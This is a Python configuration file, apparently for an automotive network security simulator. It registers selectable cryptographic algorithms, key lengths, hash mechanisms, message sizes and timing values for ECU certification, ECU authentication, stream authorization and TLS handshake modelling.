reg.reg_proj_config('Certification', 'ECU_CERT_ENCRYPTION_MECH', 'RSA', AsymAuthMechEnum.RSA)
reg.reg_proj_config('Certification', 'ECU_CERT_ENCRYPTION_MECH', 'ECC', AsymAuthMechEnum.ECC)
ECU_CERT_ENCRYPTION_MECH_OPTION = 3
reg.reg_proj_config('Certification', 'ECU_CERT_ENCRYPTION_MECH_OPTION', 'EXP_3', 3)
reg.reg_proj_config('Certification', 'ECU_CERT_ENCRYPTION_MECH_OPTION', 'EXP_5', 5)
reg.reg_proj_config('Certification', 'ECU_CERT_ENCRYPTION_MECH_OPTION', 'EXP_17', 17)
reg.reg_proj_config('Certification', 'ECU_CERT_ENCRYPTION_MECH_OPTION', 'EXP_257', 257)
reg.reg_proj_config('Certification', 'ECU_CERT_ENCRYPTION_MECH_OPTION', 'EXP_65537', 65537)
ECU_CERT_KEYL = AuKeyLengthEnum.bit_1024
reg.reg_proj_config('Certification', 'ECU_CERT_KEYL', 'bit_192', AuKeyLengthEnum.bit_192)
reg.reg_proj_config('Certification', 'ECU_CERT_KEYL', 'bit_256', AuKeyLengthEnum.bit_256)
reg.reg_proj_config('Certification', 'ECU_CERT_KEYL', 'bit_384', AuKeyLengthEnum.bit_384)
reg.reg_proj_config('Certification', 'ECU_CERT_KEYL', 'bit_512', AuKeyLengthEnum.bit_512)
reg.reg_proj_config('Certification', 'ECU_CERT_KEYL', 'bit_1024', AuKeyLengthEnum.bit_1024)
reg.reg_proj_config('Certification', 'ECU_CERT_KEYL', 'bit_2048', AuKeyLengthEnum.bit_2048)
ECU_CERT_CA_LEN = 1
reg.reg_proj_config('Certification', 'ECU_CERT_CA_LEN', 'ca_1', 1)
reg.reg_proj_config('Certification', 'ECU_CERT_CA_LEN', 'ca_2', 2)
reg.reg_proj_config('Certification', 'ECU_CERT_CA_LEN', 'ca_3', 3)
reg.reg_proj_config('Certification', 'ECU_CERT_CA_LEN', 'ca_4', 4)
ECU_CERT_SIZE_HASH_TO_SIGN = 20
reg.reg_proj_config('Certification', 'ECU_CERT_SIZE_HASH_TO_SIGN', 'X509', 1000) # 1 KB
ECU_CERT_SIZE_HASH = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE
reg.reg_proj_config('Certification', 'ECU_CERT_SIZE_HASH', 'CALC', ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size']) # 1 KB
reg.reg_proj_config('Certification', 'ECU_CERT_SIZE_HASH', 'X509', 1000) # 1 KB
SECMOD_CERT_HASHING_MECH = HashMechEnum.MD5
reg.reg_proj_config('Certification', 'SECMOD_CERT_HASHING_MECH', 'MD5', HashMechEnum.MD5)
reg.reg_proj_config('Certification', 'SECMOD_CERT_HASHING_MECH', 'SHA1', HashMechEnum.SHA1)
reg.reg_proj_config('Certification', 'SECMOD_CERT_HASHING_MECH', 'SHA256', HashMechEnum.SHA256)
SECMOD_CERT_ENCRYPTION_MECH = AsymAuthMechEnum.RSA
reg.reg_proj_config('Certification', 'SECMOD_CERT_ENCRYPTION_MECH', 'RSA', AsymAuthMechEnum.RSA)
reg.reg_proj_config('Certification', 'SECMOD_CERT_ENCRYPTION_MECH', 'ECC', AsymAuthMechEnum.ECC)
SECMOD_CERT_ENCRYPTION_MECH_OPTION = 3
reg.reg_proj_config('Certification', 'SECMOD_CERT_ENCRYPTION_MECH_OPTION', 'EXP_3', 3)
reg.reg_proj_config('Certification', 'SECMOD_CERT_ENCRYPTION_MECH_OPTION', 'EXP_5', 5)
reg.reg_proj_config('Certification', 'SECMOD_CERT_ENCRYPTION_MECH_OPTION', 'EXP_17', 17)
reg.reg_proj_config('Certification', 'SECMOD_CERT_ENCRYPTION_MECH_OPTION', 'EXP_257', 257)
reg.reg_proj_config('Certification', 'SECMOD_CERT_ENCRYPTION_MECH_OPTION', 'EXP_65537', 65537)
SECMOD_CERT_KEYL = AuKeyLengthEnum.bit_1024
reg.reg_proj_config('Certification', 'SECMOD_CERT_KEYL', 'bit_192', AuKeyLengthEnum.bit_192)
reg.reg_proj_config('Certification', 'SECMOD_CERT_KEYL', 'bit_256', AuKeyLengthEnum.bit_256)
reg.reg_proj_config('Certification', 'SECMOD_CERT_KEYL', 'bit_384', AuKeyLengthEnum.bit_384)
reg.reg_proj_config('Certification', 'SECMOD_CERT_KEYL', 'bit_512', AuKeyLengthEnum.bit_512)
reg.reg_proj_config('Certification', 'SECMOD_CERT_KEYL', 'bit_1024', AuKeyLengthEnum.bit_1024)
reg.reg_proj_config('Certification', 'SECMOD_CERT_KEYL', 'bit_2048', AuKeyLengthEnum.bit_2048)
SECMOD_CERT_CA_LEN = 1
reg.reg_proj_config('Certification', 'SECMOD_CERT_CA_LEN', 'ca_1', 1)
reg.reg_proj_config('Certification', 'SECMOD_CERT_CA_LEN', 'ca_2', 2)
reg.reg_proj_config('Certification', 'SECMOD_CERT_CA_LEN', 'ca_3', 3)
reg.reg_proj_config('Certification', 'SECMOD_CERT_CA_LEN', 'ca_4', 4)
SECMOD_CERT_SIZE_HASH_TO_SIGN = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE
reg.reg_proj_config('Certification', 'SECMOD_CERT_SIZE_HASH_TO_SIGN', 'CALC', ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size']) # 1 KB
reg.reg_proj_config('Certification', 'SECMOD_CERT_SIZE_HASH_TO_SIGN', 'X509', 1000) # 1 KB
SECMOD_CERT_SIZE_HASH_SIGNED = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE
reg.reg_proj_config('Certification', 'SECMOD_CERT_SIZE_HASH_SIGNED', 'CALC', ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size']) # 1 KB
reg.reg_proj_config('Certification', 'SECMOD_CERT_SIZE_HASH_SIGNED', 'X509', 1000) # 1 KB
#===============================================================================
# ECU Authentication
#===============================================================================
# Interval to repeat the ECU Authentication
SSMA_ECU_AUTH_INTERVAL = 0
reg.reg_proj_config('ECUAuthentication', 'SSMA_ECU_AUTH_INTERVAL', 'SHORT', 100)
reg.reg_proj_config('ECUAuthentication', 'SSMA_ECU_AUTH_INTERVAL', 'LONG', 1000)
reg.reg_proj_config('ECUAuthentication', 'SSMA_ECU_AUTH_INTERVAL', 'INFINITY', sys.maxsize)
# Asymmetric Algorithm used in the Security Module
SSMA_SECM_PUB_ENC_ALG = AsymAuthMechEnum.RSA
reg.reg_proj_config('ECUAuthentication', 'SSMA_SECM_PUB_ENC_ALG', 'RSA', AsymAuthMechEnum.RSA)
reg.reg_proj_config('ECUAuthentication', 'SSMA_SECM_PUB_ENC_ALG', 'ECC', AsymAuthMechEnum.ECC)
SSMA_SECM_PUB_ENC_ALG_OPTION = 3
reg.reg_proj_config('ECUAuthentication', 'SSMA_SECM_PUB_ENC_ALG_OPTION', 'EXP_3', 3)
reg.reg_proj_config('ECUAuthentication', 'SSMA_SECM_PUB_ENC_ALG_OPTION', 'EXP_5', 5)
reg.reg_proj_config('ECUAuthentication', 'SSMA_SECM_PUB_ENC_ALG_OPTION', 'EXP_17', 17)
reg.reg_proj_config('ECUAuthentication', 'SSMA_SECM_PUB_ENC_ALG_OPTION', 'EXP_257', 257)
reg.reg_proj_config('ECUAuthentication', 'SSMA_SECM_PUB_ENC_ALG_OPTION', 'EXP_65537', 65537)
SSMA_SECM_PUB_ENC_KEY_LEN = AuKeyLengthEnum.bit_512
reg.reg_proj_config('ECUAuthentication', 'SSMA_SECM_PUB_ENC_KEY_LEN', 'bit_192', AuKeyLengthEnum.bit_192)
reg.reg_proj_config('ECUAuthentication', 'SSMA_SECM_PUB_ENC_KEY_LEN', 'bit_256', AuKeyLengthEnum.bit_256)
reg.reg_proj_config('ECUAuthentication', 'SSMA_SECM_PUB_ENC_KEY_LEN', 'bit_384', AuKeyLengthEnum.bit_384)
reg.reg_proj_config('ECUAuthentication', 'SSMA_SECM_PUB_ENC_KEY_LEN', 'bit_512', AuKeyLengthEnum.bit_512)
reg.reg_proj_config('ECUAuthentication', 'SSMA_SECM_PUB_ENC_KEY_LEN', 'bit_1024', AuKeyLengthEnum.bit_1024)
reg.reg_proj_config('ECUAuthentication', 'SSMA_SECM_PUB_ENC_KEY_LEN', 'bit_2048', AuKeyLengthEnum.bit_2048)
# ECU Authentication: Symmetric Key of ECU (Encryption Algorithm) used for ECU Authentication
SCCM_ECU_SYM_KEY_ENC_ALG = SymAuthMechEnum.AES
reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_SYM_KEY_ENC_ALG', 'AES', SymAuthMechEnum.AES)
SCCM_ECU_SYM_KEY_ENC_ALG_MODE = SymAuthMechEnum.CBC
reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_SYM_KEY_ENC_ALG_MODE', 'CCM', SymAuthMechEnum.CCM)
reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_SYM_KEY_ENC_ALG_MODE', 'CBC', SymAuthMechEnum.CBC)
reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_SYM_KEY_ENC_ALG_MODE', 'CMAC', SymAuthMechEnum.CMAC)
reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_SYM_KEY_ENC_ALG_MODE', 'ECB', SymAuthMechEnum.ECB)
reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_SYM_KEY_ENC_ALG_MODE', 'CTR', SymAuthMechEnum.CTR)
SCCM_ECU_SYM_KEY_ENC_KEY_LEN = AuKeyLengthEnum.bit_1024
reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_SYM_KEY_ENC_KEY_LEN', 'bit_128', AuKeyLengthEnum.bit_128)
reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_SYM_KEY_ENC_KEY_LEN', 'bit_192', AuKeyLengthEnum.bit_192)
reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_SYM_KEY_ENC_KEY_LEN', 'bit_256', AuKeyLengthEnum.bit_256)
# ECU Authentication: Asymetric Algorithm used in the ECUs comm Module
SCCM_ECU_PUB_ENC_ALG = AsymAuthMechEnum.ECC
reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_PUB_ENC_ALG', 'ECC', AsymAuthMechEnum.ECC)
reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_PUB_ENC_ALG', 'RSA', AsymAuthMechEnum.RSA)
SCCM_ECU_PUB_ENC_ALG_OPTION = 5
reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_PUB_ENC_ALG_OPTION', 'EXP_3', 3)
reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_PUB_ENC_ALG_OPTION', 'EXP_5', 5)
reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_PUB_ENC_ALG_OPTION', 'EXP_17', 17)
reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_PUB_ENC_ALG_OPTION', 'EXP_257', 257)
reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_PUB_ENC_ALG_OPTION', 'EXP_65537', 65537)
SCCM_ECU_PUB_ENC_KEY_LEN = AuKeyLengthEnum.bit_128
reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_PUB_ENC_KEY_LEN', 'bit_192', AuKeyLengthEnum.bit_192)
reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_PUB_ENC_KEY_LEN', 'bit_256', AuKeyLengthEnum.bit_256)
reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_PUB_ENC_KEY_LEN', 'bit_384', AuKeyLengthEnum.bit_384)
reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_PUB_ENC_KEY_LEN', 'bit_512', AuKeyLengthEnum.bit_512)
reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_PUB_ENC_KEY_LEN', 'bit_1024', AuKeyLengthEnum.bit_1024)
reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_PUB_ENC_KEY_LEN', 'bit_2048', AuKeyLengthEnum.bit_2048)
# ECU Authentication: Hashing Algorithm used for the hashing in the REGISTRATION Message
SCCM_ECU_REG_MSG_HASH = HashMechEnum.MD5
reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_REG_MSG_HASH', 'MD5', HashMechEnum.MD5)
reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_REG_MSG_HASH', 'SHA1', HashMechEnum.SHA1)
reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_REG_MSG_HASH', 'SHA256', HashMechEnum.SHA256)
# ECU Authentication: Hashing Algorithm output length used for the hashing in the REGISTRATION Message
SCCM_ECU_REG_MSG_HASH_LEN = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE
# Size of the content of the inner registration message part
SSMA_REG_MSG_CT_SIZE_INNER = 0
reg.reg_proj_config('ECUAuthentication', 'SSMA_REG_MSG_CT_SIZE_INNER', 'DEFAULT', 200)
# Size of the content of the inner registration message part after encryption
SSMA_REG_MSG_CIPHER_SIZE_INNER = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE
# Size of the content of the outer registration message part after encryption
SSMA_REG_MSG_CIPHER_SIZE_OUTER = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE
# Size of the confirmation message before encryption
SCCM_ECU_CONF_MSG_SIZE = 0
reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_CONF_MSG_SIZE', 'DEFAULT', 200)
# Size of the confirmation message after encryption
SCCM_ECU_CONF_MSG_CIPHER_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size']
#===============================================================================
# Stream Authorization
#===============================================================================
# Symmetric Session Key used in the Security Module
SSMA_SECM_SES_KEY_ENC_ALG = SymAuthMechEnum.AES
reg.reg_proj_config('StreamAuthorization', 'SSMA_SECM_SES_KEY_ENC_ALG', 'AES', SymAuthMechEnum.AES)
SSMA_SECM_SES_KEY_ENC_ALG_MODE = SymAuthMechEnum.CBC
reg.reg_proj_config('StreamAuthorization', 'SSMA_SECM_SES_KEY_ENC_ALG_MODE', 'CCM', SymAuthMechEnum.CCM)
reg.reg_proj_config('StreamAuthorization', 'SSMA_SECM_SES_KEY_ENC_ALG_MODE', 'CBC', SymAuthMechEnum.CBC)
reg.reg_proj_config('StreamAuthorization', 'SSMA_SECM_SES_KEY_ENC_ALG_MODE', 'CMAC', SymAuthMechEnum.CMAC)
reg.reg_proj_config('StreamAuthorization', 'SSMA_SECM_SES_KEY_ENC_ALG_MODE', 'ECB', SymAuthMechEnum.ECB)
reg.reg_proj_config('StreamAuthorization', 'SSMA_SECM_SES_KEY_ENC_ALG_MODE', 'CTR', SymAuthMechEnum.CTR)
SSMA_SECM_SES_KEY_ENC_KEY_LEN = AuKeyLengthEnum.bit_128
reg.reg_proj_config('StreamAuthorization', 'SSMA_SECM_SES_KEY_ENC_KEY_LEN', 'bit_128', AuKeyLengthEnum.bit_128)
reg.reg_proj_config('StreamAuthorization', 'SSMA_SECM_SES_KEY_ENC_KEY_LEN', 'bit_192', AuKeyLengthEnum.bit_192)
reg.reg_proj_config('StreamAuthorization', 'SSMA_SECM_SES_KEY_ENC_KEY_LEN', 'bit_256', AuKeyLengthEnum.bit_256)
SSMA_SECM_SES_KEY_VALIDITY = 0 # Time the Session key will remain valid
reg.reg_proj_config('StreamAuthorization', 'SSMA_SECM_SES_KEY_VALIDITY', 'SHORT', 5)
reg.reg_proj_config('StreamAuthorization', 'SSMA_SECM_SES_KEY_VALIDITY', 'INFINITY', sys.maxsize)
# Size of the content that will be encrypted
SSMA_SIZE_REQ_MSG_CONTENT = 10
reg.reg_proj_config('StreamAuthorization', 'SSMA_SIZE_REQ_MSG_CONTENT', 'DEFAULT', 200)
SSMA_SIZE_REQ_MSG_CIPHER = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE
# Size of the grant message before encryption
SSMA_GRANT_MSG_CT_SIZE = 0
reg.reg_proj_config('StreamAuthorization', 'SSMA_GRANT_MSG_CT_SIZE', 'DEFAULT', 200)
# Size of the grant message after encryption
SSMA_GRANT_MSG_CIPHER_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE
# Stream Authorization: Maximum waiting time for response from Security Module after Authorization request
SCCM_MAX_WAIT_TIMEOUT = 200000000
reg.reg_proj_config('StreamAuthorization', 'SCCM_MAX_WAIT_TIMEOUT', 'DEFAULT', 200)
# Hold the Stream
SSMA_STREAM_HOLD = False
reg.reg_proj_config('StreamAuthorization', 'SSMA_STREAM_HOLD', 'HOLD', True)
reg.reg_proj_config('StreamAuthorization', 'SSMA_STREAM_HOLD', 'DROP', False)
# Minimum time between streams
SSMA_STREAM_MIN_INTERVAL = 5
reg.reg_proj_config('StreamAuthorization', 'SSMA_STREAM_MIN_INTERVAL', 'DEFAULT', 5)
#===============================================================================
# Sending Sizes
#===============================================================================
# Sending Size of a ECU certificate
ECU_CERT_SIZE = 0
reg.reg_proj_config('Certification', 'ECU_CERT_SIZE', 'X509', 1000) # 1 KB
# ECU Authentication: Size of the Registration message for the ECU Authentication [sending purpose only]
SCCM_ECU_REG_MSG_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE
# Security Modules Certificate Length in Byte [for sending purpose]
SSMA_SECM_CERT_SIZE = 0
reg.reg_proj_config('ECUAuthentication', 'SSMA_SECM_CERT_SIZE', 'SMALL', 100)
reg.reg_proj_config('ECUAuthentication', 'SSMA_SECM_CERT_SIZE', 'X509', 1000) # 1 KB
# Security Modules confirmation Message Size in Byte [for sending purpose]
SSMA_SECM_CONF_MSG_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE
# Security Modules Grant Message Size in Byte [for sending purpose]
SSMA_SECM_GRANT_MSG_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE
# Security Modules confirmation Message Size in Byte [for sending purpose]
SSMA_SECM_DENY_MSG_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE
# Stream Authorization: Size of the request message [sending purpose only]
SCCM_ECU_REQ_MSG_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE
#===============================================================================
# TLS
#===============================================================================
TLSRL_PROTOCOL_VERSION = [3, 3]
reg.reg_proj_config('TLS_RECORD_LAYER', 'TLSRL_PROTOCOL_VERSION', 'DEFAULT', [3, 3])
# Compression in Recordlayer
TLSR_COMPRESSION_ALGORITHM = CompressionMethod.NULL
reg.reg_proj_config('TLS_RECORD_LAYER', 'TLSR_COMPRESSION_ALGORITHM', 'DEFAULT', CompressionMethod.NULL)
TLSR_COMPRESSED_SIZE = ['components.security.encryption.encryption_tools.CompressedSize', 'output_size']
# MAC Creation in Recordlayer
TLSR_DEC_BLOCKCIPHER_MAC_INPUT_SIZE = 60
reg.reg_proj_config('TLS_RECORD_LAYER', 'TLSR_DEC_BLOCKCIPHER_MAC_INPUT_SIZE', 'DEFAULT', 60)
TLSR_BLOCKCIPHER_MAC_INPUT_SIZE = 60
reg.reg_proj_config('TLS_RECORD_LAYER', 'TLSR_BLOCKCIPHER_MAC_INPUT_SIZE', 'DEFAULT', 60)
TLSR_BLOCKCIPHER_MAC_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE
TLSR_DEC_BLOCKCIPHER_MAC_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE
TLSR_BLOCKCIPHER_MAC_ALGORITHM = SymAuthMechEnum.AES
reg.reg_proj_config('TLS_RECORD_LAYER', 'TLSR_BLOCKCIPHER_MAC_ALGORITHM', 'AES', SymAuthMechEnum.AES)
TLSR_BLOCKCIPHER_MAC_KEY_LEN = AuKeyLengthEnum.bit_128
reg.reg_proj_config('TLS_RECORD_LAYER', 'TLSR_BLOCKCIPHER_MAC_KEY_LEN', 'bit_128', AuKeyLengthEnum.bit_128) # 16 Byte
# Symmetric Encryption in Recordlayer
TLSR_BLOCKCIPHER_ENC_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE
TLSR_BLOCKCIPHER_ENC_ALGORITHM = SymAuthMechEnum.AES
reg.reg_proj_config('TLS_RECORD_LAYER', 'TLSR_BLOCKCIPHER_ENC_ALGORITHM', 'AES', SymAuthMechEnum.AES)
TLSR_BLOCKCIPHER_ENC_KEY_LEN = AuKeyLengthEnum.bit_128
reg.reg_proj_config('TLS_RECORD_LAYER', 'TLSR_BLOCKCIPHER_ENC_KEY_LEN', 'bit_128', AuKeyLengthEnum.bit_128)
reg.reg_proj_config('TLS_RECORD_LAYER', 'TLSR_BLOCKCIPHER_ENC_KEY_LEN', 'bit_192', AuKeyLengthEnum.bit_192)
reg.reg_proj_config('TLS_RECORD_LAYER', 'TLSR_BLOCKCIPHER_ENC_KEY_LEN', 'bit_256', AuKeyLengthEnum.bit_256)
TLSR_BLOCKCIPHER_ENC_ALGORITHM_MODE = SymAuthMechEnum.CBC
reg.reg_proj_config('TLS_RECORD_LAYER', 'TLSR_BLOCKCIPHER_ENC_ALGORITHM_MODE', 'CCM', SymAuthMechEnum.CCM)
reg.reg_proj_config('TLS_RECORD_LAYER', 'TLSR_BLOCKCIPHER_ENC_ALGORITHM_MODE', 'CBC', SymAuthMechEnum.CBC)
reg.reg_proj_config('TLS_RECORD_LAYER', 'TLSR_BLOCKCIPHER_ENC_ALGORITHM_MODE', 'CMAC', SymAuthMechEnum.CMAC)
reg.reg_proj_config('TLS_RECORD_LAYER', 'TLSR_BLOCKCIPHER_ENC_ALGORITHM_MODE', 'ECB', SymAuthMechEnum.ECB)
reg.reg_proj_config('TLS_RECORD_LAYER', 'TLSR_BLOCKCIPHER_ENC_ALGORITHM_MODE', 'CTR', SymAuthMechEnum.CTR)
# TLS Handshake Processes
TLSH_CLIENT_HELLO_SEND_SIZE = 60
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_HELLO_SEND_SIZE', 'DEFAULT', 60)
# TLS Certificate Server
TLSH_SERV_CERT_ENC_ALG = AsymAuthMechEnum.RSA
reg.reg_proj_config('TLS_HANDSHAKE', 'SCCM_ECU_PUB_ENC_ALG', 'ECC', AsymAuthMechEnum.ECC)
reg.reg_proj_config('TLS_HANDSHAKE', 'SCCM_ECU_PUB_ENC_ALG', 'RSA', AsymAuthMechEnum.RSA)
TLSH_SERV_CERT_ENC_ALG_OPTION = 5
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_ENC_ALG_OPTION', 'EXP_3', 3)
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_ENC_ALG_OPTION', 'EXP_5', 5)
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_ENC_ALG_OPTION', 'EXP_17', 17)
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_ENC_ALG_OPTION', 'EXP_257', 257)
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_ENC_ALG_OPTION', 'EXP_65537', 65537)
TLSH_SERV_CERT_ENC_KEY_LEN = AuKeyLengthEnum.bit_1024
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_ENC_KEY_LEN', 'bit_192', AuKeyLengthEnum.bit_192)
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_ENC_KEY_LEN', 'bit_256', AuKeyLengthEnum.bit_256)
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_ENC_KEY_LEN', 'bit_384', AuKeyLengthEnum.bit_384)
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_ENC_KEY_LEN', 'bit_512', AuKeyLengthEnum.bit_512)
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_ENC_KEY_LEN', 'bit_1024', AuKeyLengthEnum.bit_1024)
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_ENC_KEY_LEN', 'bit_2048', AuKeyLengthEnum.bit_2048)
TLSH_SERV_CERT_HASH_MECH = HashMechEnum.MD5
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_HASH_MECH', 'MD5', HashMechEnum.MD5)
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_HASH_MECH', 'SHA1', HashMechEnum.SHA1)
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_HASH_MECH', 'SHA256', HashMechEnum.SHA256)
TLSH_CLIENT_CERT_CA_LEN = 1
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_CA_LEN', 'DEFAULT', 1)
TLSH_CLIENT_CERT_UNSIGNED_SIZE = 1300
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_UNSIGNED_SIZE', 'X509', 1300)
TLSH_CLIENT_CERT_SIGNED_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE
TLSH_CLIENT_CERT_HASH_MECH = HashMechEnum.MD5
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_HASH_MECH', 'MD5', HashMechEnum.MD5)
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_HASH_MECH', 'SHA1', HashMechEnum.SHA1)
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_HASH_MECH', 'SHA256', HashMechEnum.SHA256)
TLSH_SERV_CERT_CA_LEN = 1
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_CA_LEN', 'DEFAULT', 1)
TLSH_SERV_CERT_UNSIGNED_SIZE = 1300
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_UNSIGNED_SIZE', 'X509', 1300)
TLSH_SERV_CERT_SIGNED_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE
TLSH_CERT_VERIFY_CLEAR_SIZE = 100
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CERT_VERIFY_CLEAR_SIZE', 'DEFAULT', 100)
TLSH_CERT_VERIFY_CIPHER_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE
TLSH_PRF_MASTER_SEC_GENERATION = PRF.DUMMY
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_PRF_MASTER_SEC_GENERATION', 'DEFAULT', PRF.DUMMY)
TLSH_CLIENT_KEYEX_CIPHER_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE
TLSH_CLIENT_KEYEX_CLEAR_SIZE = 100
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_KEYEX_CLEAR_SIZE', 'DEFAULT', 100)
TLSH_CLIENT_CERT_ENC_ALG = AsymAuthMechEnum.ECC
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_ENC_ALG', 'ECC', AsymAuthMechEnum.ECC)
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_ENC_ALG', 'RSA', AsymAuthMechEnum.RSA)
TLSH_CLIENT_CERT_ENC_ALG_OPTION = 5
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_ENC_ALG_OPTION', 'EXP_3', 3)
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_ENC_ALG_OPTION', 'EXP_5', 5)
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_ENC_ALG_OPTION', 'EXP_17', 17)
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_ENC_ALG_OPTION', 'EXP_257', 257)
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_ENC_ALG_OPTION', 'EXP_65537', 65537)
TLSH_CLIENT_CERT_ENC_KEY_LEN = AuKeyLengthEnum.bit_1024
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_ENC_KEY_LEN', 'bit_192', AuKeyLengthEnum.bit_192)
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_ENC_KEY_LEN', 'bit_256', AuKeyLengthEnum.bit_256)
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_ENC_KEY_LEN', 'bit_384', AuKeyLengthEnum.bit_384)
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_ENC_KEY_LEN', 'bit_512', AuKeyLengthEnum.bit_512)
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_ENC_KEY_LEN', 'bit_1024', AuKeyLengthEnum.bit_1024)
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_ENC_KEY_LEN', 'bit_2048', AuKeyLengthEnum.bit_2048)
TLSH_SERVER_REC_FINISHED_CONTENT_SIZE = 100
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERVER_REC_FINISHED_CONTENT_SIZE', 'DEFAULT', 3000)
TLSH_FINISH_MESSAGE_HASH_ALGORITHM = HashMechEnum.MD5
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_FINISH_MESSAGE_HASH_ALGORITHM', 'MD5', HashMechEnum.MD5)
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_FINISH_MESSAGE_HASH_ALGORITHM', 'SHA1', HashMechEnum.SHA1)
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_FINISH_MESSAGE_HASH_ALGORITHM', 'SHA256', HashMechEnum.SHA256)
